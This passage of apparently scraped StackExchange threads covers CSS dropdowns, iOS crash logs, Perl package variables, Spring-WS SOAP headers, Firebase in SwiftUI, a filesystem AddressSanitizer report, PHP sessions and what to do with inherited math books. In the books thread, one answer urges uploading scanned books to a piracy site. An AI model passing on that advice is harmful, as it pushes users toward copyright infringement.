0.15s; -ms-transition: all 0.3s ease 0.15s; transition: all 0.3s ease 0.15s; } .nav:hover > li > .subnav-block { display: block; } UPDATE 2 Since display won't let us use transitions, the other workaround would be using a bit of JS. Since it is not much code, it is solid way to achieve this. We would need to remove the CSS hover in this. JS const nav = document.querySelectorAll('.nav > li'); nav.forEach(elem => { elem.addEventListener('mouseenter', () => { const subnav = document.querySelectorAll('.subnav-block'); subnav.forEach(sub => { sub.classList.add('display-block'); setTimeout( () => { sub.style.opacity = 1; sub.style.height = 'auto'; }, 100); }); }); elem.addEventListener('mouseleave', () => { const subnav = document.querySelectorAll('.subnav-block'); subnav.forEach(sub => { sub.classList.remove('display-block'); sub.style.opacity = 0; }); }); }); CSS .subnav-block { position: static; width: 100% !important; top: 54px; left: 0; display: none; opacity: 0; height: 0; background: gray; -webkit-transition: all 0.3s ease 0.15s; -moz-transition: all 0.3s ease 0.15s; -o-transition: all 0.3s ease 0.15s; -ms-transition: all 0.3s ease 0.15s; transition: all 0.3s ease 0.15s; } .display-block { display: block; } If I wanted to add padding to '.subnav-block', that also takes up space and we run into a similar issue. How can I make the subnav look good w/o sacrificing the hover experience? I would then go with Hadi77 answer and instead use the display attribute. I just edited my question with the corresponding changes. yeah, I was just playing around with display none instead of visibility hidden. Thanks, will continue. Maybe I need to pose another topic on this but noticed the animation doesn't work when using display:none and display:block. How do I get CSS transition to work again? You would need to use a bit of JS in this case. I just edited my answer with a simple code that should suffice. That's awesome. last question (I think): when submenu is visible, it pushes content down. I'm assuming it's b/c it is block displayed. Should I use position absolute to fix this? Yes, using position absolute should fix that. Let us continue this discussion in chat. Setting visibility to hidden, is somewhat like making it transparent: The element takes space as it should (display is set to block). Using display property is what you want. Set it to none when you want the element to be "not displayed" and set it to block to "display it". Also if you don't want all menus to drop-down together, move the :hover pseudo-selector in .nav:hover > li > .subnav-block to li, so it would become .nav > li:hover > .subnav-block.
common-pile/stackexchange_filtered
Can't find iOS crash reports The only crash logs I have on my iPhone are from last November, but I know my (debug, non-released) app has crashed a million times since then. What determines if a crash goes to the Diagnostics and Usage info? I've tried looking in the Devices window of Xcode. Same logs as on iPhone. I just want to find stack traces for the app I am debugging. That would be so helpful. How should I do it? I'm on iOS 10.2.1 Why not run the app through Xcode and debug the crash directly? And what version of iOS? Logs are in a different place in the Settings app in iOS 10.3. Well rmaddy, I do debug it that way, but I also test the app a lot on the go. It would be nice if it were possible to go through those crash logs. I'm adding the iOS version to my post. It's possible to get the crash logs through Window > Devices > View Device Logs Zonily Jame, Yes I have checked there, but there are only crash logs from November of last year. No new ones. I can't figure out why, or how to fix it.
common-pile/stackexchange_filtered
what does '$::n' mean for perl? Do you know what "$::n;" means ? The section of codes is like below. use JSON::XS; # ... open (YI, "| $cmd"); my $msg = { test => test }; my $emsg = encode_json($msg); print YI "$msg_inject\n" unless $::n; close YI;` I remmeber that I also met $::v before. What is $::v ? Does it have additional usage ? I only know $: is reserved word for a perl statment with more lines being filling in a field. Best regards, TWLMD. If you are responsible for this piece of code note that it has quite a few problems: two arg open and using a bareword to store the filehandle. See the new perlopentut in the current 5.19 development release for examples how to do it right. $::n is same as $main::n or just $n where $n is residing in main:: package. Such notation ignores eventual lexical (defined with my) definition of $n, ie. perl -Mstrict -we 'our $n=3; my $n=1; print $::n' output is 3 (Interesting tidbit: main:: is really just an reference to the empty namespace, so $::n, $main::n, $main::main::n, $main::main::main::n, etc are all the same var.)
common-pile/stackexchange_filtered
Physics tutoring session at Paul's apartment, evening. Person A: The Dirac equation works perfectly when we rotate the phase globally, but what happens if we try different phase rotations at different points in space? Person B: That breaks the equation completely. The derivatives pick up extra terms that ruin everything. Person C: But nature should look the same everywhere, right? If I can rotate phases here, why not there too? Person A: Exactly! So we need to fix this somehow. What if we replace the ordinary derivative with something that compensates for local phase changes? Person B: You mean introduce a new field? Something that transforms in exactly the right way to cancel out those extra terms? Person C: Wait, this new field would need four components to match spacetime dimensions, and it would have to couple to the electron with some strength parameter... Person A: Right! Call that coupling strength $e$
sci-datasets/scilogues
Spring WS client add SoapHeader I'm trying to send SOAP request with soap header looks like this: <SOAP-ENV:Header> <Security xmlns="http://www.xxx.org/xxx/2003/05"> <UsernameToken><Username>yyyy</Username><Password>xxx</Password> </UsernameToken></Security></SOAP-ENV:Header> In order to do it I'm adding header element using SoapActionCallback SoapActionCallback actionCallBack = new SoapActionCallback("https://aaa.com/bbb.asmx") { public void doWithMessage(WebServiceMessage msg) { SoapMessage smsg = (SoapMessage) msg; smsg.setSoapAction("http://www.xxx.org/yyy/2003/05/SessionCreate"); SoapHeaderElement security = smsg.getSoapHeader().addHeaderElement(new QName("http://www.xxx.org/yyy", "Security")); security.setText("<UsernameToken><Username>yyyy</Username><Password>xxx</Password></UsernameToken>"); } }; My problem is that soap header looks like this <SOAP-ENV:Header><Security xmlns="http://www.xxx.org/yyy/2003/05">&lt;UsernameToken&gt;&lt;Username&gt;yyyyy&lt;/Username&gt;&lt;Password&gt;xxxx&lt;/Password&gt;&lt;/UsernameToken&gt;</Security></SOAP-ENV:Header> And as result my request fails: How can I add this message correct? Do you know that you can convert any soap element to Java Element or Node and then get the document and create new Node/Element and append them to your current soap element ? This being said, what you are trying to be achieve can be configured by spring @VirtualTroll how about showing how it can be done instead of simply stating that it can be? seems like that would be a great answer. I want the same thing as well. However, as it appears in my own searching, Spring doesn't have full functions like the SOAPMessage in java. What you probably needed was an addChildElement() to the header. I ended up ditching the SoapMessage building and went with this: SOAPMessage message = MessageFactory.newInstance(); private void buildHeader(String userName, String password) throws SOAPException{ SOAPHeader header = message.getSOAPHeader(); QName authHeader = new QName(SCHEMA, "AuthenticationHeader", SCHEMA_PREFIX); SOAPHeaderElement authElement = header.addHeaderElement(authHeader); QName userNameHeader = new QName(SCHEMA, "UserName", SCHEMA_PREFIX); SOAPElement userElement = authElement.addChildElement((userNameHeader)); userElement.setTextContent(userName); QName passwordHeader = new QName(SCHEMA, "Password", SCHEMA_PREFIX); SOAPElement passwdElement = authElement.addChildElement(passwordHeader); passwdElement.setTextContent(password); } Do note that with the approach above passing a SOAPMessage using sendSourceAndReceiveToResult wraps the SOAPMessage in another envelope and this is not what we want. :( Update (10/25/2013): I found this solution in another discussion. It's a little vague but worth looking into. I'll try to test this out on my end. One of my colleagues tried out spring-integration-ws and looking in google for the topic and soap headers yielded some promising resources. Update (10/25/2013): After fooling around with the library I discovered there is a quicker way to wrap the SOAPMessage into Spring's SoapMessage using this: // message is a SOAPMessage object with custom headers SoapMessage soapMessage = new SaajSoapMessage(message); soapMessage.writeTo(System.out); Perhaps after you build your soapmessage you can route it to spring-ws and so on. As a supplemental solution, I ditched the Spring-WS client approach as well, as having to marshall them through spring was more trouble and time consuming that it was worth. It was simpler to do it in java Saaj & JAXB anyway. Not sure if there is a good way to "route" a soap message into Spring-WS. Searching now...
common-pile/stackexchange_filtered
Failed to get FirebaseApp instance after migrating to SwiftUI lifecycle I have a SwiftUI app with UIKit AppDelegate and SceneDelegate. This app uses Firestore and Firebase Storage and everything worked completely fine. Then I decided to migrate to SwiftUI lifecycle instead of UIKit AppDelegate and SceneDelegate. But now the app crashes on the launch. This is the error in the console 2020-12-29 22:06:24.737199+0530 App Name[15411:5408005] *** Terminating app due to uncaught exception 'FIRIllegalStateException', reason: 'Failed to get FirebaseApp instance. Please call FirebaseApp.configure() before using Firestore' *** First throw call stack: (0x193bcd9d8 0x1a7f36b54 0x104c9d4f4 0x104c9c9dc 0x104d7548c 0x104d75364 0x1045cf314 0x1045cf1f8 0x104570704 0x104570a24 0x19a18cd08 0x104570980 0x104570a38 0x193825568) libc++abi.dylib: terminating with uncaught exception of type NSException *** Terminating app due to uncaught exception 'FIRIllegalStateException', reason: 'Failed to get FirebaseApp instance. Please call FirebaseApp.configure() before using Firestore' terminating with uncaught exception of type NSException (lldb) I've tried both this import Firebase import SwiftUI @main struct AppName: App { init() { FirebaseApp.configure() } var body: some Scene { WindowGroup { ContentView() } } } and this method import Firebase import SwiftUI class AppDelegate: NSObject, UIApplicationDelegate { func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { FirebaseApp.configure() return true } } @main struct AppName: App { @UIApplicationDelegateAdaptor(AppDelegate.self) var appDelegate var body: some Scene { WindowGroup { ContentView() } } } but it's still crashing (same error). Then I've updated all the pods and I even re-downloaded and replaced the GoogleService-Info.plist file. But the result is same. I have no idea what's wrong here. This app still works fine with UIKit AppDelegate and SceneDelegate. Please help me. Thanks. Without more context, it's hard to tell what exactly is the problem, but the error message you see means that some part of your app starts making use of Firebase before FirebaseApp.configure() has been executed. If you're using dependency injection, check your DI setup. Might also be useful to look at your call stack when the app crashes to see who's calling. Thanks so much for the comment @PeterFriese. I'm using some view models as environmentObjects and the app crashes because of let db = Firestore.firestore() in those view models. So I put let db = Firestore.firestore() inside the functions of the view models instead of the common let db = Firestore.firestore() outside the functions and now the app works fine. Awesome - great to hear you found a solution! It might be useful to post this as an answer to your own question so others who run into the same issue can find your solution more easily.
common-pile/stackexchange_filtered
Why do we use -i in Linux commands? Why do we use -i in linux commands and what is it's use? e.g. ssh -i .\filename.pem<EMAIL_ADDRESS>(or) sudo -i What's the use of -i here? There's no single answer. It depends on the command itself. Read the manual pages to find out what that option does for each command. ssh manual and sudo manual For different commands, there can be different parameter options and i can be one of them. By checking the help you can understand the meaning of each of them. This can be done by man command -> will show the manual page of the command or command -h or command --help -> will show the help page Try with sudo instead of command, you will understand what I am saying. ssh -i identity_file A file from which the identity key (private key) for public key authentication is read. sudo -i -(simulate initial login) option runs the shell specified by the password database entry of the target user as a login shell. This means that login-specific resource files such as .profile or .login will be read by the shell. If a command is specified, it is passed to the shell for execution via the shell's -c option. If no command is specified, an interactive shell is executed. sudo attempts to change to that user's home directory before running the shell. The security policy shall initialize the environment to a minimal set of variables, similar to what is present when a user logs in. The Command Environment section in the sudoers(5) manual documents how the -i option affects the environment in which a command is run when the sudoers policy is in use.
common-pile/stackexchange_filtered
Why doesn't java allow use of type parameter with super keyword? If public void foo(List<? super Integer> list){} is valid, what's wrong with public <T super Integer> void foo(List<T> list){} If second one can't be allowed, since it does not make sense as it will allow any type to be qualified to satisfy constraint on T, what's different with first case? What do you want to use T for? In the sense of PECS, given a List<T super Integer>, T isn't useful because you can never get an element out of that list (because it's a consumer, not a provider), for example, to see what its type is. So you want to be able to put Integers, Numbers and Objects in the list? String is an Object, should that be allowed in the list? Consider the acronym PECS: Producer Extends, Consumer Super Given a List, T isn't useful because you can never get an element out of that list (because it's a consumer, not a producer), for example, to see what its type is: it is simply a consumer that it is safe to pass an Integer to. This is one of those questions where the answer is that you'd have to ask the language designers. My guess is that there simply aren't the use cases to justify it. If you try hard enough you can think of examples that require it, but they're so contrived that I don't think it's worth it. Here's the simplest method I can think of that (I think) couldn't be written without this feature. static <T super Integer> void combineAndAdd42(Set<T> set1, Set<T> set2) { set1.add(42); // This line requires T super Integer. set1.addAll(set2); // These 2 lines require both Sets have the set2.addAll(set1); // same type, so it can't be done with wildcards. }
common-pile/stackexchange_filtered
$\sum_{k=2}^{n}{k \choose 2}= \binom {n+1} {3} $ Help with this excercises :) Proof that $$\sum_{k=2}^{n}{k \choose 2}= \binom {n+1} {3} $$ please :) Do you realize you haven't asked a question? As written, it isn't clear what you're asking. Hockey stick identity: http://www.artofproblemsolving.com/wiki/index.php/Combinatorial_identity Suppose you want to choose 3 numbers from $\{1,\cdots,n+1\}$, so there are $\binom{n+1}{3}$ ways to do this. If $k+1$ is the largest number chosen, where $2\le k\le n$, then we have $\binom{k}{2}$ ways to choose the two smallest numbers;$\;\;$so $\;\displaystyle\sum_{k=2}^{n}\binom{k}{2}=\binom{n+1}{3}$. (As Jack D'Aurizio points out, this is a special case of a hockey-stick identity.) $$\sum_{k=2}^{n}{k \choose 2}=\sum_{k=2}^{n}\frac{k!}{2!(k-2)!}=\sum_{k=2}^{n}\frac{k(k-1)(k-2)!}{2(k-2)!}=\sum_{k=2}^{n} \frac{k(k-1)}{2}=\frac{1}{2}\sum_{k=1}^{n}k(k+1)$$ then you can split it and use $$\sum_{k=1}^{n}k^2=\frac{n}{6}(n+1)(2n+1)$$ $$\sum_{k=1}^{n}k=\frac{n}{2}(n+1)$$
common-pile/stackexchange_filtered
Set KeepAlive in WCF Data Services I am using the "abandonware" product from Microsoft called "WCF Data Services". I am hoping I can get some help here on it. I am trying to setup my services to work in a load balancer (an F5). The problem I am having I also had with my normal WCF services. Basically, the F5 sees the connection as a 'persistent' connection. To fix this with my WCF Services I could set the "KeepAliveEnabled" flag to false like this: var endpointAddress = new EndpointAddress(new Uri("http://someAdrs/MyWcfService.svc")); MyWcfClient client = new MyWcfClient (new BasicHttpBinding(), endpointAddress); var customBinding = new CustomBinding(client.Endpoint.Binding); var transportElement = customBinding.Elements.Find<HttpTransportBindingElement>(); transportElement.KeepAliveEnabled = false; client.Endpoint.Binding = customBinding; As I said, this works great for my WCF Service. But I can't seem to find a way to set this with a WCF Data Services client. (The client does not have a "Endpoint" variable.) Anyone have an idea on how to set KeepAlive to false for a Wcf Data Services client? Update: I tried this: entities.SendingRequest2 += EntitiesOnSendingRequest2; private static void EntitiesOnSendingRequest2(object sender, SendingRequest2EventArgs sendingRequest2EventArgs) { sendingRequest2EventArgs.RequestMessage.SetHeader("Keep-Alive", "false"); } But it did not seem to help. Update II: I tried this in the "EntitiesOnSendingRequest2 as well: sendingRequest2EventArgs.RequestMessage.SetHeader("Connection", "close"); But I got an error because the Connection header is restricted. Figured it. There is an event called "SendingRequest" that can be subscribed to. (It is deprecated, but that does not matter as Wcf Data Services is dead to Microsoft. It will never be removed due to Microsoft's short attention span these days.) That event will allow you to get at the WebRequest, which can be cast to an HttpWebRequest. Then it is simple as setting KeepAlive=false; entities.SendingRequest += EntitiesOnSendingRequest; private static void EntitiesOnSendingRequest(object sender, SendingRequestEventArgs sendingRequestEventArgs) { var webRequest = ((HttpWebRequest) sendingRequestEventArgs.Request); webRequest.KeepAlive = false; }
common-pile/stackexchange_filtered
Keeping user logged into website using PHP POST without form How do I keep the user logged into my website when they switch pages using PHP POST without a form? Maybe like this (I am aware that this code might be a little crazy): <?php define (php_post_request, (name), (Werling)); header ('Location: ' . $_GET["location"], php_post_request); ?> Any help would be appreciated. One option is sessions and have session_start(); at top of each page. You should read the PHP basics on php.net You need to use sessions. You start a session by using session_start(); which allows you to access the SESSIONS superglobal. After successful sign up, set a SESSION variable for their user ID (in the simplest of cases). The pages that require a user to be logged in would then retain this information across the pages, you just check for the existence and value of the variable. See here: http://www.w3schools.com/php/php_sessions.asp It does it until the session is destroyed, or it expires. You can destroy on logout using session destroy, or just unset that particular variable, i.e. unset($_SESSION['userid']). Guys, why you gotta be so rude? Don't you know I'm human too? I'm gonna post it anyway. But seriously, all this vitriol about w3schools is slightly tiring, it's not a brilliant resource, but it's not like you're going to kill your website by using it occasionally. I'll use sessions and W3Schools.
common-pile/stackexchange_filtered
Why does "for (auto const& dir_entry : std::filesystem::directory_iterator{sandbox}) {}" trigger AddressSanitizer: heap-buffer-overflow? I have nailed down that the following code, when compiled with g++14 and adress sanitizers (See details below), triggers a runtime 'AddressSanitizer: heap-buffer-overflow' for the for-statement looping over std::filesystem::directory_iterator{sandbox}. #include <iostream> #include <fstream> #include <filesystem> void test_directory_iterator() { // Code from https://en.cppreference.com/w/cpp/filesystem/directory_iterator const std::filesystem::path sandbox{"sandbox"}; std::filesystem::create_directories(sandbox/"dir1"/"dir2"); std::ofstream{sandbox/"file1.txt"}; std::ofstream{sandbox/"file2.txt"}; std::cout << "directory_iterator:\n"; // directory_iterator can be iterated using a range-for loop for (auto const& dir_entry : std::filesystem::directory_iterator{sandbox}) {} } int main(int argc, char *argv[]) { test_directory_iterator(); exit(0); } Compiler version: kjell-olovhogdal@Kjell-Olovs-Mac-Pro src % /usr/local/Cellar/gcc/14.1.0_1/bin/g++-14 -v Using built-in specs. COLLECT_GCC=/usr/local/Cellar/gcc/14.1.0_1/bin/g++-14 COLLECT_LTO_WRAPPER=/usr/local/Cellar/gcc/14.1.0_1/bin/../libexec/gcc/x86_64-apple-darwin21/14/lto-wrapper Target: x86_64-apple-darwin21 Configured with: ../configure --prefix=/usr/local/opt/gcc --libdir=/usr/local/opt/gcc/lib/gcc/current --disable-nls --enable-checking=release --with-gcc-major-version-only --enable-languages=c,c++,objc,obj-c++,fortran --program-suffix=-14 --with-gmp=/usr/local/opt/gmp --with-mpfr=/usr/local/opt/mpfr --with-mpc=/usr/local/opt/libmpc --with-isl=/usr/local/opt/isl --with-zstd=/usr/local/opt/zstd --with-pkgversion='Homebrew GCC 14.1.0_1' --with-bugurl=https://github.com/Homebrew/homebrew-core/issues --with-system-zlib --build=x86_64-apple-darwin21 --with-sysroot=/Library/Developer/CommandLineTools/SDKs/MacOSX12.sdk Thread model: posix Supported LTO compression algorithms: zlib zstd gcc version 14.1.0 (Homebrew GCC 14.1.0_1) Platform: kjell-olovhogdal@Kjell-Olovs-Mac-Pro src % sw_vers ProductName: macOS ProductVersion: 12.7.4 BuildVersion: 21H1123 kjell-olovhogdal@Kjell-Olovs-Mac-Pro src % Build command: /usr/local/Cellar/gcc/14.1.0_1/bin/g++-14 --sysroot=/Library/Developer/CommandLineTools/SDKs/MacOSX.sdk -fdiagnostics-color=always -std=c++23 -g -fsanitize=address,undefined -fno-omit-frame-pointer /Users/kjell-olovhogdal/Documents/Github/cratchit/src/directory_iterator_error.cpp Runtime console output: kjell-olovhogdal@Kjell-Olovs-Mac-Pro src % ./a.out a.out(53925,0x1086ea600) malloc: nano zone abandoned due to inability to preallocate reserved vm space. directory_iterator: /usr/local/Cellar/gcc/14.1.0_1/include/c++/14/bits/shared_ptr_base.h:1076:26: runtime error: member call on address 0x60b0000003b0 which does not point to an object of type '_Sp_counted_base' 0x60b0000003b0: note: object is of type 'std::_Sp_counted_ptr_inplace<std::filesystem::__cxx11::_Dir, std::allocator<std::filesystem::__cxx11::_Dir>, (__gnu_cxx::_Lock_policy)2>' ================================================================= ==53925==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b0000003ac at pc 0x000107f49fa0 bp 0x7ff7b88cf870 sp 0x7ff7b88cf040 READ of size 32 at 0x60b0000003ac thread T0 #0 0x107f49f9f in write.part.0+0x1af (libasan.8.dylib:x86_64+0x29f9f) #1 0x10873a1de in __sanitizer::IsAccessibleMemoryRange(unsigned long, unsigned long)+0x5e (libubsan.1.dylib:x86_64+0x181de) 0x60b0000003ac is located 4 bytes before 112-byte region [0x60b0000003b0,0x60b000000420) allocated by thread T0 here: #0 0x107f85838 in _Znwm+0xa8 (libasan.8.dylib:x86_64+0x65838) #1 0x107c4335e in std::filesystem::__cxx11::directory_iterator::directory_iterator(std::filesystem::__cxx11::path const&, std::filesystem::directory_options, std::error_code*)+0x11e (libstdc++.6.dylib:x86_64+0x10335e) SUMMARY: AddressSanitizer: heap-buffer-overflow (libasan.8.dylib:x86_64+0x29f9f) in write.part.0+0x1af Shadow bytes around the buggy address: 0x60b000000100: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa 0x60b000000180: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd 0x60b000000200: fd fa fa fa fa fa fa fa fa fa fd fd fd fd fd fd 0x60b000000280: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa 0x60b000000300: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa =>0x60b000000380: fa fa fa fa fa[fa]00 00 00 00 00 00 00 00 00 00 0x60b000000400: 00 00 00 00 fa fa fa fa fa fa fa fa fd fd fd fd 0x60b000000480: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa 0x60b000000500: fa fa 00 00 00 00 00 00 00 00 00 00 00 00 00 fa 0x60b000000580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x60b000000600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==53925==ABORTING zsh: abort ./a.out I have tried the loop with an empty iterator and that works fine. Is there a known bug in g++14 for std::filesystem::directory_iterator? Is this problem local to my machine or can you reproduce it? Steps to reproduce: Compile a cpp-file with the code provided above with the compiler and arguments shown above. The lack of proper error text formatting makes it difficult for readers to help you. Please [edit] your question to format inline error text properly and to use a [code block] for any code or error messages you have included. Works in godbolt https://godbolt.org/z/j496TfcKb
common-pile/stackexchange_filtered
Too much data in Database I am writing application, where I store in Database Strings from Images Bitmaps. I decided to save String, not Uri cause I didn't want to expose that user delete image from gallery and there will be no access to this image from my app. And on emulator everything works fine, but now on real device I get "Window is full: requested allocation ..." . I am depressed that whole program must be remodeled.. Please, help me solve it DEPRESSED is making me feel tired A bad design leads to a bad failure. Bloating a db with images is never a good idea. Ok, I understood, but I'm just learning so it's normal that I make a mistake. I'm writting here cause I hope that somebody gives me some adivce, so please don't be sapient :) Don't store large data such as image binaries in your database. CursorWindow doesn't handle large data very well, as you have observed. Instead, store the images as files in your application-private directory (context.getFilesDir() for example), and store paths to the files in the database. Thank you for quick advice, I'll try :) By the way, I read topic person which had similar problem with design like me, so I wish there were no such tips.
common-pile/stackexchange_filtered
How can I change numbering format in picker view? I am beginner in coding and would like to display only integers (1 , 2 , 3 , 4) in my UIPickerView rather than (0.0 , 0.1 , 0.3 , 0,4). -(NSString *)pickerView:(UIPickerView *)pickerView titleForRow:(NSInteger)row forComponent:(NSInteger)component { return [NSString stringWithFormat:@"%ld, %ld",(long)component,(long)row]; } thanks when i used the code you provided all pickers values turn to characters. i would like to only have the last section in the picker to display characters. You are going to want to use this method: - (NSString *)pickerView:(UIPickerView *)pickerView titleForRow:(NSInteger)row forComponent:(NSInteger)component Apple provides great documentation for issues like this: https://developer.apple.com/library/IOs/documentation/UIKit/Reference/UIPickerView_Class/index.html https://developer.apple.com/library/IOS/documentation/UIKit/Reference/UIPickerViewDelegate_Protocol/index.html. Dear ctapp1 thanks for your answer , and i have changed it from long to show. How can i reset the values in each column? to be like 0 1 2 3 4 5 6 7 8 9 rather than 1.1 1.2 1.3 , then second section 2.1 2.2... your help please. You only need to return the row formatted to a string. Like so: -(NSString *)pickerView:(UIPickerView *)pickerView titleForRow:(NSInteger)row forComponent:(NSInteger)component { return [NSString stringWithFormat:@"%ld", row]; } thanks a lot mate , in the last section rather than displaying numbers how i can display characters (C D F G J K M Z)? you help please :D thanks adam , when i used the code you provided all pickers values turn to characters. i would like to only have the last section in the picker to display characters. @adam Then return different strings based off of the pickerView/componenet/whatever - I've given you the basics that you need to get the job done. Good luck!
common-pile/stackexchange_filtered
What to do with antique math books? My grandfather had a PhD in math. When he died, he left a lot of math textbooks, which I took. These include things like Van der Waerden's 2-volume algebra set from the 1970s, "Studies in Global Geometry and Analysis" by Shiing-Shen Chern, a series called "Mathematics: it's content, methods, and meaning," and many more. I'm keeping about 20 of them, but there are 103 which I don't want to keep, but which I don't know what to do with. I obviously don't want to throw them away, and I don't really know what will happen to them if I donate them to the giant used-books depository in downtown Baltimore (called "the book thing," where people drop off and pick up used books for free). I'd like to donate them to some math collector or math library. But maybe there are just too many used antique math books floating around. RECAP: I have 103 antique used math books which I cannot keep. Do you have a suggestion for what to do with them? Thanks, David I've converted this to wiki, but with some reservations. I've bumped the discussion on meta.MO about when questions should be wiki. If you have an opinion, please contribute at http://tea.mathoverflow.net/discussion/6/when-should-questions-be-community-wiki/#Comment_1194 As in comments below, university math libraries have space problems. Getting out-of-copyright books scanned would be excellent, as would be donating to AIM (Amer. Inst. Math.), whose library only came into existence a few years ago, and, therefore, tends to lack "classics". David, Older mathematics books can be surprisingly rare. An option is to sell them on Advanced Book Exchange (abe.com). I would be happy to help you triage your books. I did this once for the daughter of a philosopher who had a large mathematics book collection. It did not take long on the telephone. Dan Ok, that would be great. I'm contacting you by email with my phone number. These should go like hotcakes. Of course from the title I was expecting Legendre's number theory. In 1970 Van der Waerden was probably already in its 5th edition. I agree ABE (or Powell's) is a good place for them. Individuals probably want these books more than libraries nowadays. And the commercial used book market has become be exploitive at times, via jacking up prices on old works. The modest but nice little expository book on global geometry edited by Chern is currently offered used on ABE at from $6 to $73. I guess a dollar sign no longer stands for a dollar. If any of them are out of copyright, the internet archive (www.archive.org) might want to scan them to put them online. There are lots of other scanned math books on the site right now. I really love this one even though I can't read any of it: http://www.archive.org/details/rieflachvolesung00klierich The book is handwritten text (in German) of lectures about Riemann surfaces by Felix Klein and it's just wonderful to flip through it on the screen. They don't have to be out of copyright: archive.org is registered as a library and thus qualifies for special exemptions. Details on how to donate physical items are currently available at https://help.archive.org/hc/en-us/articles/360017876312-How-do-I-make-a-physical-donation-to-the-Internet-Archive- If the books are mostly research-level math books, then definitely donating the books to a university math library is much better than donating or selling the books to a random bookstore. I could be wrong, but I imagine that university libraries would have a glut of this kind of thing. But it couldn't hurt to ask.. Most libraries I know are always looking for space, and the books would probably end up being sold at some point, which strikes me as sub-optimal in terms of giving them the best possible home. Vladimir Arnold famously griped about Jussieu's libraries in Paris wanting to dump classic calculus textbooks (quoted in http://www-history.mcs.st-and.ac.uk/Biographies/Arnold.html ) so nothing is safe! I think the American Institute of Mathematics is happy to receive donations for its library. Donating them to a library is a great idea. Here at NMSU, we have a wonderful math reading room that has a surprisingly rich collection of math books. It's a great addition to the university library's collection. I assume it's mostly been amassed through donations. I would suggest scanning them all and donate them to "the" "internet" book library (for example, a thepiratebay.se); many people would be grateful and the legacy of your father shall be preserved. And one hopes that the laws shall eventually change so that it becomes legal (and maybe is already legal in some countries).. Luckily the no-cloning theorem doesn't apply... You're still in Eugene, right David? I'd take your books (or the list of books) up to Powell's bookstore in Portland to see what they think. They'd probably be happy to buy many of your books as long as they're not too common. They have a pretty serious technical books collection and as far as I can tell they make a lot of money selling rare math books on-line. Another option would be to have an auction in Eugene, say, in the math department lounge. The Cornell math library used to auction off their old duplicate books that were no longer in frequent circulation. I got some really nice books for cheap at those auctions. I recently sold some books to these guys: http://michener-rutledge.com/ They came to my office, looked around and were very professional. Though I haven't dealt directly with them, I'm aware of another established company (in Ohio) which buys and sells advanced or rare books in mathematics: http://www.zubalbooks.com/index.jsp Except for purely local transactions, shipping cost is always a major concern in dealing with individual books or small collections (more so outside the US). But the market for advanced mathematics is limited everywhere, so be selective. It's true that most public or college libraries have too little shelf space and staff to deal with questionable freebies. I've often given away surplus books at all levels to colleagues and students, but there is no way to guarantee that these are really used. Some I've given away have on the other hand wound up being sold, as I later learned. People stop by faculty offices here regularly and offer cash for current sellable editions of elementary textbooks; they pay well but are definitely picky. Even that market is changing rapidly due to e-books and the like. Zubal books has played bait and switch with me. I would not but from them again. If you are fine with selling some of them to private collectors, I'd be interested in seeing a list of what you've got. Are you in the Baltimore area? Lately I see maths books sold on ebay. Perhaps that's a relatively hassle-free option, at least you might get reasonable prices for the most interesting ones. If you haven't sold all of these books, i might be interested in purchasing some of them from you. I am a math major in college and planning on getting a PhD in Math. Currently i am building a library of math books. Thanks!
common-pile/stackexchange_filtered
Android search manager results not showing up in UIAutomator tree I am trying to figure out how to get to the elements shown in global search results in Android. All the other elements are showing up in the UIAutomator tree. If you look at the below image, there is no notion of Seafood, Outdoor Seating etc. Which means these elements aren't visible to accessibility tools as well. Is there something that we should be using so that these elements are visible in the UI tree. Search I was talking is within the app - http://developer.android.com/guide/topics/search/search-dialog.html http://developer.android.com/reference/android/app/SearchManager.html It may depend on the hardware or OS version. On a screen that looked like this: I was able to find the result elements. I did not use page_source to view the tree, so I'm not sure what it looked like - I was able to find by text. If that doesn't work, I'm afraid you may be out of luck... hopefully I'm wrong. I am talking about searching with in the app http://developer.android.com/guide/topics/search/search-dialog.html. No its not hardware specific because the emulator I was using is 4.3 Oh, you said "global search results in Android" which sounds like the system global search. You could try connecting with selendroid and doing a page_source(). It sometimes shows more info (including hidden things) than using the Android driver. You should use the appium inspector which shall provide you with the details of even hidden elements. http://appium.io
common-pile/stackexchange_filtered
"A game Object can only be in one layer" error in OVR Script in Unity I am trying to make a game using Oculus Rift DK2 and Leap Motion. I use Scripts named OVRVisionGuide.cs and OVRMainMenu.cs. My errors are : A game object can only be in one layer. The layer needs to be in the range [0...31] UnityEngine.GameObject:set_layer(Int32) OVRMainMenu:Start() (at Assets/OVR/Scripts/Util/OVRMainMenu.cs:274) A game object can only be in one layer. The layer needs to be in the range [0...31] UnityEngine.GameObject:set_layer(Int32) OVRMainMenu:Start() (at Assets/OVR/Scripts/Util/OVRMainMenu.cs:274) I don't know how to do :/ ? Post the three lines codes on line 273,274 and 275. The code from OVRMainMenu.cs. If you don't provide the source code, you limit the people who can answer your question to those who worked with this SDK and are familiar with it. Which will greatly reduce your chances of getting an answer.
common-pile/stackexchange_filtered
